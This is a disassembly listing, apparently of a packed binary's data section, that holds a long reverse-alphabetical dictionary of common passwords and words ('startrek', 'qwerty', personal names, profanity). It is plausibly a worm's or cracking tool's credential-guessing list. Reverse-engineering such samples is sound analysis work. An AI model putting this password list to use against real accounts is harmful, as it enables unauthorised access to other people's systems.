aStartrek	db 'startrek',0         ; DATA XREF: .nsp0:0042D968o
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_40CE55+1EF2o
					; .nsp0:0042D964o
		align 4
aStarship	db 'starship',0         ; DATA XREF: .nsp0:0042D960o
		align 4
aStar		db 'star',0             ; DATA XREF: .nsp0:0042D95Co
		align 4
aStacy		db 'stacy',0            ; DATA XREF: .nsp0:0042D958o
		align 4
aStacie		db 'stacie',0           ; DATA XREF: .nsp0:0042D954o
		align 4
aStaci		db 'staci',0            ; DATA XREF: .nsp0:0042D950o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: .nsp0:0042D94Co
		align 4
aSr71		db 'sr71',0             ; DATA XREF: .nsp0:0042D948o
		align 4
aSquires	db 'squires',0          ; DATA XREF: .nsp0:0042D944o
aSpunk		db 'spunk',0            ; DATA XREF: .nsp0:0042D940o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: .nsp0:0042D93Co
		align 10h
aSpring		db 'spring',0           ; DATA XREF: .nsp0:0042D938o
		align 4
aSpred		db 'spred',0            ; DATA XREF: .nsp0:0042D934o
		align 10h
aSpit		db 'spit',0             ; DATA XREF: .nsp0:0042D930o
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: .nsp0:0042D92Co
		align 4
aSpider		db 'spider',0           ; DATA XREF: .nsp0:0042D928o
		align 4
aSpice		db 'spice',0            ; DATA XREF: .nsp0:0042D924o
		align 4
aSpell		db 'spell',0            ; DATA XREF: .nsp0:0042D920o
		align 4
aSpear		db 'spear',0            ; DATA XREF: .nsp0:0042D91Co
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: .nsp0:0042D918o
		align 10h
aSpaceshi	db 'spaceshi',0         ; DATA XREF: .nsp0:0042D914o
		align 4
aSouth		db 'south',0            ; DATA XREF: .nsp0:0042D910o
		align 4
aSource		db 'source',0           ; DATA XREF: .nsp0:0042D90Co
		align 4
aSossina	db 'sossina',0          ; DATA XREF: .nsp0:0042D908o
aSonya		db 'sonya',0            ; DATA XREF: .nsp0:0042D904o
		align 4
aSonic		db 'sonic',0            ; DATA XREF: .nsp0:0042D900o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: .nsp0:0042D8FCo
		align 4
aSondra		db 'sondra',0           ; DATA XREF: .nsp0:0042D8F8o
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: .nsp0:0042D8F4o
		align 10h
aSoftware	db 'software',0         ; DATA XREF: .nsp0:0042D8F0o
		align 4
aSoft		db 'soft',0             ; DATA XREF: .nsp0:0042D8ECo
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: .nsp0:0042D8E8o
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: .nsp0:0042D8E4o
		align 4
aSocial		db 'social',0           ; DATA XREF: .nsp0:0042D8E0o
		align 10h
aSoap		db 'soap',0             ; DATA XREF: .nsp0:0042D8DCo
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: .nsp0:0042D8D8o
		align 10h
aSnatch		db 'snatch',0           ; DATA XREF: .nsp0:0042D8D4o
		align 4
aSnake		db 'snake',0            ; DATA XREF: .nsp0:0042D8D0o
		align 10h
aSnafu		db 'snafu',0            ; DATA XREF: .nsp0:0042D8CCo
		align 4
aSnach		db 'snach',0            ; DATA XREF: .nsp0:0042D8C8o
		align 10h
aSmut		db 'smut',0             ; DATA XREF: .nsp0:0042D8C4o
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: .nsp0:0042D8C0o
		align 10h
aSmother	db 'smother',0          ; DATA XREF: .nsp0:0042D8BCo
aSmooch		db 'smooch',0           ; DATA XREF: .nsp0:0042D8B8o
		align 10h
aSmiles		db 'smiles',0           ; DATA XREF: .nsp0:0042D8B4o
		align 4
aSmile		db 'smile',0            ; DATA XREF: .nsp0:0042D8B0o
		align 10h
aSmart		db 'smart',0            ; DATA XREF: .nsp0:0042D8ACo
		align 4
aSmall		db 'small',0            ; DATA XREF: .nsp0:0042D8A8o
		align 10h
aSlut		db 'slut',0             ; DATA XREF: .nsp0:0042D8A4o
		align 4
aSlow		db 'slow',0             ; DATA XREF: .nsp0:0042D8A0o
		align 10h
aSliders	db 'sliders',0          ; DATA XREF: .nsp0:0042D89Co
aSlick		db 'slick',0            ; DATA XREF: .nsp0:0042D898o
		align 10h
aSlave		db 'slave',0            ; DATA XREF: .nsp0:0042D894o
		align 4
aSkull		db 'skull',0            ; DATA XREF: .nsp0:0042D890o
		align 10h
aSite		db 'site',0             ; DATA XREF: .nsp0:0042D88Co
		align 4
aSingle		db 'single',0           ; DATA XREF: .nsp0:0042D888o
		align 10h
aSinger		db 'singer',0           ; DATA XREF: .nsp0:0042D884o
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: .nsp0:0042D880o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: .nsp0:0042D87Co
		align 10h
aSimple		db 'simple',0           ; DATA XREF: .nsp0:0042D878o
		align 4
aSimon		db 'simon',0            ; DATA XREF: .nsp0:0042D874o
		align 10h
aSimcity	db 'simcity',0          ; DATA XREF: .nsp0:0042D870o
aSilver		db 'silver',0           ; DATA XREF: .nsp0:0042D86Co
		align 10h
aSignatur	db 'signatur',0         ; DATA XREF: .nsp0:0042D868o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: .nsp0:0042D864o
		align 4
aSick		db 'sick',0             ; DATA XREF: .nsp0:0042D860o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: .nsp0:0042D85Co
aShort		db 'short',0            ; DATA XREF: .nsp0:0042D858o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: .nsp0:0042D854o
aShiva		db 'shiva',0            ; DATA XREF: .nsp0:0042D850o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: .nsp0:0042D84Co
aShit		db 'shit',0             ; DATA XREF: .nsp0:0042D848o
		align 4
aShirley	db 'shirley',0          ; DATA XREF: .nsp0:0042D844o
aShift		db 'shift',0            ; DATA XREF: .nsp0:0042D840o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: .nsp0:0042D83Co
		align 4
aShell		db 'shell',0            ; DATA XREF: .nsp0:0042D838o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: .nsp0:0042D834o
aSheffiel	db 'sheffiel',0         ; DATA XREF: .nsp0:0042D830o
		align 10h
aSharon		db 'sharon',0           ; DATA XREF: .nsp0:0042D82Co
		align 4
aSharks		db 'sharks',0           ; DATA XREF: .nsp0:0042D828o
		align 10h
aShark		db 'shark',0            ; DATA XREF: .nsp0:0042D824o
		align 4
aSharc		db 'sharc',0            ; DATA XREF: .nsp0:0042D820o
		align 10h
aShannon	db 'shannon',0          ; DATA XREF: .nsp0:0042D81Co
aSexy		db 'sexy',0             ; DATA XREF: .nsp0:0042D818o
		align 10h
aSesame		db 'sesame',0           ; DATA XREF: .nsp0:0042D814o
		align 4
aService	db 'service',0          ; DATA XREF: .nsp0:0042D810o
					; .nsp0:0042E3D8o
aSerial_0	db 'serial',0           ; DATA XREF: .nsp0:0042D80Co
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: .nsp0:0042D808o
		align 4
aSentry		db 'sentry',0           ; DATA XREF: .nsp0:0042D804o
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: .nsp0:0042D800o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: .nsp0:0042D7FCo
		align 10h
aSega		db 'sega',0             ; DATA XREF: .nsp0:0042D7F8o
		align 4
aSeed		db 'seed',0             ; DATA XREF: .nsp0:0042D7F4o
		align 10h
aSecurity	db 'security',0         ; DATA XREF: .nsp0:0042D7F0o
		align 4
aSearch		db 'search',0           ; DATA XREF: .nsp0:0042D7ECo
		align 4
aScout		db 'scout',0            ; DATA XREF: .nsp0:0042D7E8o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: .nsp0:0042D7E4o
		align 4
aScott		db 'scott',0            ; DATA XREF: .nsp0:0042D7E0o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: .nsp0:0042D7DCo
		align 4
aScifi		db 'scifi',0            ; DATA XREF: .nsp0:0042D7D8o
		align 10h
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: .nsp0:0042D7D4o
aSchool		db 'school',0           ; DATA XREF: .nsp0:0042D7D0o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: .nsp0:0042D7CCo
		align 4
aScamper	db 'scamper',0          ; DATA XREF: .nsp0:0042D7C8o
aSaxon		db 'saxon',0            ; DATA XREF: .nsp0:0042D7C4o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: .nsp0:0042D7C0o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: .nsp0:0042D7BCo
		align 10h
aSarah		db 'sarah',0            ; DATA XREF: .nsp0:0042D7B8o
		align 4
aSara		db 'sara',0             ; DATA XREF: .nsp0:0042D7B4o
		align 10h
aSandy		db 'sandy',0            ; DATA XREF: .nsp0:0042D7B0o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: .nsp0:0042D7ACo
		align 10h
aSample		db 'sample',0           ; DATA XREF: .nsp0:0042D7A8o
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: .nsp0:0042D7A4o
		align 4
aSalt		db 'salt',0             ; DATA XREF: .nsp0:0042D7A0o
		align 4
aSale		db 'sale',0             ; DATA XREF: .nsp0:0042D79Co
		align 4
aSalami		db 'salami',0           ; DATA XREF: .nsp0:0042D798o
		align 4
aSafe		db 'safe',0             ; DATA XREF: .nsp0:0042D794o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: .nsp0:0042D790o
		align 4
aRush		db 'rush',0             ; DATA XREF: .nsp0:0042D78Co
		align 4
aRunning	db 'running',0          ; DATA XREF: .nsp0:0042D788o
aRules		db 'rules',0            ; DATA XREF: .nsp0:0042D784o
		align 4
aRude		db 'rude',0             ; DATA XREF: .nsp0:0042D780o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: .nsp0:0042D77Co
		align 4
aRuben		db 'ruben',0            ; DATA XREF: .nsp0:0042D778o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: .nsp0:0042D774o
		align 4
aRough		db 'rough',0            ; DATA XREF: .nsp0:0042D770o
		align 4
aRoses		db 'roses',0            ; DATA XREF: .nsp0:0042D76Co
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: .nsp0:0042D768o
		align 10h
aRosebud	db 'rosebud',0          ; DATA XREF: .nsp0:0042D764o
aRose		db 'rose',0             ; DATA XREF: .nsp0:0042D760o
		align 10h
aRonald		db 'ronald',0           ; DATA XREF: .nsp0:0042D75Co
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: .nsp0:0042D758o
aRomeo		db 'romeo',0            ; DATA XREF: .nsp0:0042D754o
		align 4
aRomano		db 'romano',0           ; DATA XREF: .nsp0:0042D750o
		align 10h
aRolex		db 'rolex',0            ; DATA XREF: .nsp0:0042D74Co
		align 4
aRodent		db 'rodent',0           ; DATA XREF: .nsp0:0042D748o
		align 10h
aRockyhor	db 'rockyhor',0         ; DATA XREF: .nsp0:0042D744o
		align 4
aRocky		db 'rocky',0            ; DATA XREF: .nsp0:0042D740o
		align 4
aRock		db 'rock',0             ; DATA XREF: .nsp0:0042D73Co
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: .nsp0:0042D738o
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: .nsp0:0042D734o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: .nsp0:0042D730o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: .nsp0:0042D72Co
		align 4
aRobot		db 'robot',0            ; DATA XREF: .nsp0:0042D728o
		align 10h
aRobin		db 'robin',0            ; DATA XREF: .nsp0:0042D724o
		align 4
aRobert		db 'robert',0           ; DATA XREF: .nsp0:0042D720o
		align 10h
aRoach		db 'roach',0            ; DATA XREF: .nsp0:0042D71Co
		align 4
aRisc		db 'risc',0             ; DATA XREF: .nsp0:0042D718o
		align 10h
aRipple		db 'ripple',0           ; DATA XREF: .nsp0:0042D714o
		align 4
aRiot		db 'riot',0             ; DATA XREF: .nsp0:0042D710o
		align 10h
aRing		db 'ring',0             ; DATA XREF: .nsp0:0042D70Co
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: .nsp0:0042D708o
		align 4
aRight		db 'right',0            ; DATA XREF: .nsp0:0042D704o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: .nsp0:0042D700o
		align 4
aRick		db 'rick',0             ; DATA XREF: .nsp0:0042D6FCo
		align 10h
aRich		db 'rich',0             ; DATA XREF: .nsp0:0042D6F8o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: .nsp0:0042D6F4o
		align 10h
aReveal		db 'reveal',0           ; DATA XREF: .nsp0:0042D6F0o
		align 4
aResistan	db 'resistan',0         ; DATA XREF: .nsp0:0042D6ECo
		align 4
aRepublic	db 'republic',0         ; DATA XREF: .nsp0:0042D6E8o
		align 10h
aReport		db 'report',0           ; DATA XREF: .nsp0:0042D6E4o
		align 4
aRent		db 'rent',0             ; DATA XREF: .nsp0:0042D6E0o
		align 10h
aReno		db 'reno',0             ; DATA XREF: .nsp0:0042D6DCo
		align 4
aRenee		db 'renee',0            ; DATA XREF: .nsp0:0042D6D8o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: .nsp0:0042D6D4o
		align 4
aRelease	db 'release',0          ; DATA XREF: .nsp0:0042D6D0o
aRegional	db 'regional',0         ; DATA XREF: .nsp0:0042D6CCo
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: .nsp0:0042D6C8o
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: .nsp0:0042D6C4o
aReddawn	db 'reddawn',0          ; DATA XREF: .nsp0:0042D6C0o
aRecord		db 'record',0           ; DATA XREF: .nsp0:0042D6BCo
		align 10h
aRebel		db 'rebel',0            ; DATA XREF: .nsp0:0042D6B8o
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: .nsp0:0042D6B4o
aRebal		db 'rebal',0            ; DATA XREF: .nsp0:0042D6B0o
		align 4
aReaper		db 'reaper',0           ; DATA XREF: .nsp0:0042D6ACo
		align 10h
aReam		db 'ream',0             ; DATA XREF: .nsp0:0042D6A8o
		align 4
aReally		db 'really',0           ; DATA XREF: .nsp0:0042D6A4o
		align 10h
aReality	db 'reality',0          ; DATA XREF: .nsp0:0042D6A0o
aReagan		db 'reagan',0           ; DATA XREF: .nsp0:0042D69Co
		align 10h
aRazor		db 'razor',0            ; DATA XREF: .nsp0:0042D698o
		align 4
aRascal		db 'rascal',0           ; DATA XREF: .nsp0:0042D694o
		align 10h
aRape		db 'rape',0             ; DATA XREF: .nsp0:0042D690o
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: .nsp0:0042D688o
aRaindrop	db 'raindrop',0         ; DATA XREF: .nsp0:0042D684o
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: .nsp0:0042D680o
aRain		db 'rain',0             ; DATA XREF: .nsp0:0042D67Co
		align 4
aRaid		db 'raid',0             ; DATA XREF: .nsp0:0042D678o
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: .nsp0:0042D674o
		align 10h
aRachelle	db 'rachelle',0         ; DATA XREF: .nsp0:0042D670o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: .nsp0:0042D66Co
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: .nsp0:0042D668o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .nsp0:0042D664o
					; .nsp0:0042E3BCo
		align 4
aQwert		db 'qwert',0            ; DATA XREF: .nsp0:0042D660o
					; .nsp0:0042E3B8o
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: .nsp0:0042D65Co
		align 4
aPussy		db 'pussy',0            ; DATA XREF: .nsp0:0042D658o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: .nsp0:0042D654o
		align 4
aPunk		db 'punk',0             ; DATA XREF: .nsp0:0042D650o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: .nsp0:0042D64Co
		align 4
aPuneet		db 'puneet',0           ; DATA XREF: .nsp0:0042D648o
		align 10h
aPumpkin	db 'pumpkin',0          ; DATA XREF: .nsp0:0042D644o
aPuke		db 'puke',0             ; DATA XREF: .nsp0:0042D640o
		align 10h
aPuck		db 'puck',0             ; DATA XREF: .nsp0:0042D63Co
		align 4
aPublic		db 'public',0           ; DATA XREF: .nsp0:0042D638o
		align 10h
aPsychopa	db 'psychopa',0         ; DATA XREF: .nsp0:0042D634o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: .nsp0:0042D630o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: .nsp0:0042D62Co
		align 10h
aProtect	db 'protect',0          ; DATA XREF: .nsp0:0042D628o
aPrompt		db 'prompt',0           ; DATA XREF: .nsp0:0042D624o
		align 10h
aProgram	db 'program',0          ; DATA XREF: .nsp0:0042D620o
aProfile	db 'profile',0          ; DATA XREF: .nsp0:0042D61Co
aProfesso	db 'professo',0         ; DATA XREF: .nsp0:0042D618o
		align 4
aProcesso	db 'processo',0         ; DATA XREF: .nsp0:0042D614o
		align 4
aProceed	db 'proceed',0          ; DATA XREF: .nsp0:0042D610o
aPrivs		db 'privs',0            ; DATA XREF: .nsp0:0042D60Co
		align 4
aPrivate	db 'private',0          ; DATA XREF: .nsp0:0042D608o
aPriv		db 'priv',0             ; DATA XREF: .nsp0:0042D604o
		align 4
aPrinter	db 'printer',0          ; DATA XREF: .nsp0:0042D600o
aPrinceto	db 'princeto',0         ; DATA XREF: .nsp0:0042D5FCo
		align 4
aPrince		db 'prince',0           ; DATA XREF: .nsp0:0042D5F8o
		align 4
aPresto		db 'presto',0           ; DATA XREF: .nsp0:0042D5F4o
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: .nsp0:0042D5F0o
aPrecious	db 'precious',0         ; DATA XREF: .nsp0:0042D5ECo
		align 10h
aPraise		db 'praise',0           ; DATA XREF: .nsp0:0042D5E8o
		align 4
aPower		db 'power',0            ; DATA XREF: .nsp0:0042D5E4o
		align 10h
aPoster		db 'poster',0           ; DATA XREF: .nsp0:0042D5E0o
		align 4
aPost		db 'post',0             ; DATA XREF: .nsp0:0042D5DCo
		align 10h
aPorsche	db 'porsche',0          ; DATA XREF: .nsp0:0042D5D8o
aPorno		db 'porno',0            ; DATA XREF: .nsp0:0042D5D4o
		align 10h
aPorn		db 'porn',0             ; DATA XREF: .nsp0:0042D5D0o
		align 4
aPork		db 'pork',0             ; DATA XREF: .nsp0:0042D5CCo
		align 10h
aPoor		db 'poor',0             ; DATA XREF: .nsp0:0042D5C8o
		align 4
aPoop		db 'poop',0             ; DATA XREF: .nsp0:0042D5C4o
		align 10h
aPonderin	db 'ponderin',0         ; DATA XREF: .nsp0:0042D5C0o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: .nsp0:0042D5BCo
		align 4
aPolly		db 'polly',0            ; DATA XREF: .nsp0:0042D5B8o
		align 10h
aPolice		db 'police',0           ; DATA XREF: .nsp0:0042D5B4o
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: .nsp0:0042D5B0o
		align 10h
aPlymouth	db 'plymouth',0         ; DATA XREF: .nsp0:0042D5ACo
		align 4
aPluto		db 'pluto',0            ; DATA XREF: .nsp0:0042D5A8o
		align 4
aPlover		db 'plover',0           ; DATA XREF: .nsp0:0042D5A4o
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: .nsp0:0042D5A0o
aPlane		db 'plane',0            ; DATA XREF: .nsp0:0042D59Co
		align 4
aPizza		db 'pizza',0            ; DATA XREF: .nsp0:0042D598o
		align 4
aPiss		db 'piss',0             ; DATA XREF: .nsp0:0042D594o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: .nsp0:0042D590o
aPimp		db 'pimp',0             ; DATA XREF: .nsp0:0042D58Co
		align 4
aPierre		db 'pierre',0           ; DATA XREF: .nsp0:0042D588o
		align 4
aPick		db 'pick',0             ; DATA XREF: .nsp0:0042D584o
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: .nsp0:0042D580o
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: .nsp0:0042D57Co
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: .nsp0:0042D578o
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: .nsp0:0042D574o
		align 4
aPhoton		db 'photon',0           ; DATA XREF: .nsp0:0042D570o
		align 4
aPhone		db 'phone',0            ; DATA XREF: .nsp0:0042D56Co
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: .nsp0:0042D568o
aPhilip		db 'philip',0           ; DATA XREF: .nsp0:0042D564o
		align 4
aPhil		db 'phil',0             ; DATA XREF: .nsp0:0042D560o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .nsp0:0042D55Co
		align 4
aPete		db 'pete',0             ; DATA XREF: .nsp0:0042D558o
		align 4
aPervert	db 'pervert',0          ; DATA XREF: .nsp0:0042D554o
aPersona	db 'persona',0          ; DATA XREF: .nsp0:0042D550o
aPersimmo	db 'persimmo',0         ; DATA XREF: .nsp0:0042D54Co
		align 10h
aPermit		db 'permit',0           ; DATA XREF: .nsp0:0042D548o
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: .nsp0:0042D544o
aPercolat	db 'percolat',0         ; DATA XREF: .nsp0:0042D540o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: .nsp0:0042D53Co
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: .nsp0:0042D538o
		align 4
aPentium	db 'pentium',0          ; DATA XREF: .nsp0:0042D534o
aPenthous	db 'penthous',0         ; DATA XREF: .nsp0:0042D530o
		align 10h
aPentagra	db 'pentagra',0         ; DATA XREF: .nsp0:0042D52Co
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: .nsp0:0042D528o
		align 4
aPenname	db 'penname',0          ; DATA XREF: .nsp0:0042D524o
aPenis		db 'penis',0            ; DATA XREF: .nsp0:0042D520o
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: .nsp0:0042D51Co
aPenelope	db 'penelope',0         ; DATA XREF: .nsp0:0042D518o
		align 4
aPencil		db 'pencil',0           ; DATA XREF: .nsp0:0042D514o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: .nsp0:0042D510o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: .nsp0:0042D50Co
aPaula		db 'paula',0            ; DATA XREF: .nsp0:0042D508o
		align 4
aPatty		db 'patty',0            ; DATA XREF: .nsp0:0042D504o
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: .nsp0:0042D500o
aPatricia	db 'patricia',0         ; DATA XREF: .nsp0:0042D4FCo
		align 4
aPaste		db 'paste',0            ; DATA XREF: .nsp0:0042D4F8o
		align 10h
aPassphra	db 'passphra',0         ; DATA XREF: .nsp0:0042D4F4o
		align 4
aPascal		db 'pascal',0           ; DATA XREF: .nsp0:0042D4F0o
		align 4
aPapers		db 'papers',0           ; DATA XREF: .nsp0:0042D4ECo
		align 4
aPaper		db 'paper',0            ; DATA XREF: .nsp0:0042D4E8o
		align 4
aPapa		db 'papa',0             ; DATA XREF: .nsp0:0042D4E4o
		align 4
aPamela		db 'pamela',0           ; DATA XREF: .nsp0:0042D4E0o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: .nsp0:0042D4DCo
		align 10h
aPaint		db 'paint',0            ; DATA XREF: .nsp0:0042D4D8o
		align 4
aPainless	db 'painless',0         ; DATA XREF: .nsp0:0042D4D4o
		align 4
aPacker		db 'packer',0           ; DATA XREF: .nsp0:0042D4D0o
		align 4
aPackard	db 'packard',0          ; DATA XREF: .nsp0:0042D4CCo
aPacific	db 'pacific',0          ; DATA XREF: .nsp0:0042D4C8o
aOxford		db 'oxford',0           ; DATA XREF: .nsp0:0042D4C4o
		align 4
aOutside	db 'outside',0          ; DATA XREF: .nsp0:0042D4C0o
aOutput		db 'output',0           ; DATA XREF: .nsp0:0042D4BCo
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: .nsp0:0042D4B8o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: .nsp0:0042D4B4o
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: .nsp0:0042D4B0o
		align 10h
aOscar		db 'oscar',0            ; DATA XREF: .nsp0:0042D4ACo
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: .nsp0:0042D4A8o
		align 10h
aOrient		db 'orient',0           ; DATA XREF: .nsp0:0042D4A4o
		align 4
aOrca		db 'orca',0             ; DATA XREF: .nsp0:0042D4A0o
		align 10h
aOperator	db 'operator',0         ; DATA XREF: .nsp0:0042D49Co
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: .nsp0:0042D498o
		align 4
aOpenlock	db 'openlock',0         ; DATA XREF: .nsp0:0042D494o
		align 4
aOpening	db 'opening',0          ; DATA XREF: .nsp0:0042D490o
aOmega		db 'omega',0            ; DATA XREF: .nsp0:0042D488o
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: .nsp0:0042D484o
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: .nsp0:0042D480o
		align 4
aOldage		db 'oldage',0           ; DATA XREF: .nsp0:0042D47Co
		align 10h
aOkay		db 'okay',0             ; DATA XREF: .nsp0:0042D478o
		align 4
aOffice		db 'office',0           ; DATA XREF: .nsp0:0042D474o
		align 10h
aOcelot		db 'ocelot',0           ; DATA XREF: .nsp0:0042D470o
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: .nsp0:0042D46Co
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: .nsp0:0042D468o
		align 10h
aNyquist	db 'nyquist',0          ; DATA XREF: .nsp0:0042D464o
aNuts		db 'nuts',0             ; DATA XREF: .nsp0:0042D460o
		align 10h
aNutritio	db 'nutritio',0         ; DATA XREF: .nsp0:0042D45Co
		align 4
aNumber		db 'number',0           ; DATA XREF: .nsp0:0042D458o
		align 4
aNull_1		db 'null',0             ; DATA XREF: .nsp0:0042D454o
		align 4
aNukem		db 'nukem',0            ; DATA XREF: .nsp0:0042D450o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: .nsp0:0042D44Co
		align 4
aNude		db 'nude',0             ; DATA XREF: .nsp0:0042D448o
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: .nsp0:0042D444o
aNoxious	db 'noxious',0          ; DATA XREF: .nsp0:0042D440o
aNovember	db 'november',0         ; DATA XREF: .nsp0:0042D43Co
		align 10h
aNovel		db 'novel',0            ; DATA XREF: .nsp0:0042D438o
		align 4
aNova		db 'nova',0             ; DATA XREF: .nsp0:0042D434o
		align 10h
aNoth		db 'noth',0             ; DATA XREF: .nsp0:0042D430o
		align 4
aNotes		db 'notes',0            ; DATA XREF: .nsp0:0042D42Co
		align 10h
aNoreen		db 'noreen',0           ; DATA XREF: .nsp0:0042D428o
		align 4
aNode		db 'node',0             ; DATA XREF: .nsp0:0042D424o
		align 10h
aNobody		db 'nobody',0           ; DATA XREF: .nsp0:0042D420o
		align 4
aNoble		db 'noble',0            ; DATA XREF: .nsp0:0042D41Co
		align 10h
aNnaacp		db 'nnaacp',0           ; DATA XREF: .nsp0:0042D418o
		align 4
aNita		db 'nita',0             ; DATA XREF: .nsp0:0042D414o
		align 10h
aNintendo	db 'nintendo',0         ; DATA XREF: .nsp0:0042D410o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: .nsp0:0042D40Co
		align 4
aNight		db 'night',0            ; DATA XREF: .nsp0:0042D408o
		align 10h
aNicotine	db 'nicotine',0         ; DATA XREF: .nsp0:0042D404o
		align 4
aNicole		db 'nicole',0           ; DATA XREF: .nsp0:0042D400o
		align 4
aNice		db 'nice',0             ; DATA XREF: .nsp0:0042D3FCo
		align 4
aNext		db 'next',0             ; DATA XREF: .nsp0:0042D3F8o
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: .nsp0:0042D3F4o
aNewton		db 'newton',0           ; DATA XREF: .nsp0:0042D3F0o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: .nsp0:0042D3ECo
		align 10h
aNews		db 'news',0             ; DATA XREF: .nsp0:0042D3E8o
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: .nsp0:0042D3E4o
aNetwork_0	db 'network',0          ; DATA XREF: .nsp0:0042D3E0o
aNetscape	db 'netscape',0         ; DATA XREF: .nsp0:0042D3DCo
		align 4
aNess		db 'ness',0             ; DATA XREF: .nsp0:0042D3D8o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: .nsp0:0042D3D4o
aNepenthe	db 'nepenthe',0         ; DATA XREF: .nsp0:0042D3D0o
		align 10h
aNavy		db 'navy',0             ; DATA XREF: .nsp0:0042D3CCo
		align 4
aNasa		db 'nasa',0             ; DATA XREF: .nsp0:0042D3C8o
		align 10h
aNapoleon	db 'napoleon',0         ; DATA XREF: .nsp0:0042D3C4o
		align 4
aNancy		db 'nancy',0            ; DATA XREF: .nsp0:0042D3C0o
		align 4
aName		db 'name',0             ; DATA XREF: .nsp0:0042D3BCo
		align 4
aNagel		db 'nagel',0            ; DATA XREF: .nsp0:0042D3B8o
		align 4
aMutant		db 'mutant',0           ; DATA XREF: .nsp0:0042D3B4o
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: .nsp0:0042D3B0o
aMsdos		db 'msdos',0            ; DATA XREF: .nsp0:0042D3ACo
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: .nsp0:0042D3A8o
		align 4
aMozart		db 'mozart',0           ; DATA XREF: .nsp0:0042D3A4o
		align 4
aMovies		db 'movies',0           ; DATA XREF: .nsp0:0042D3A0o
		align 4
aMovie		db 'movie',0            ; DATA XREF: .nsp0:0042D39Co
		align 4
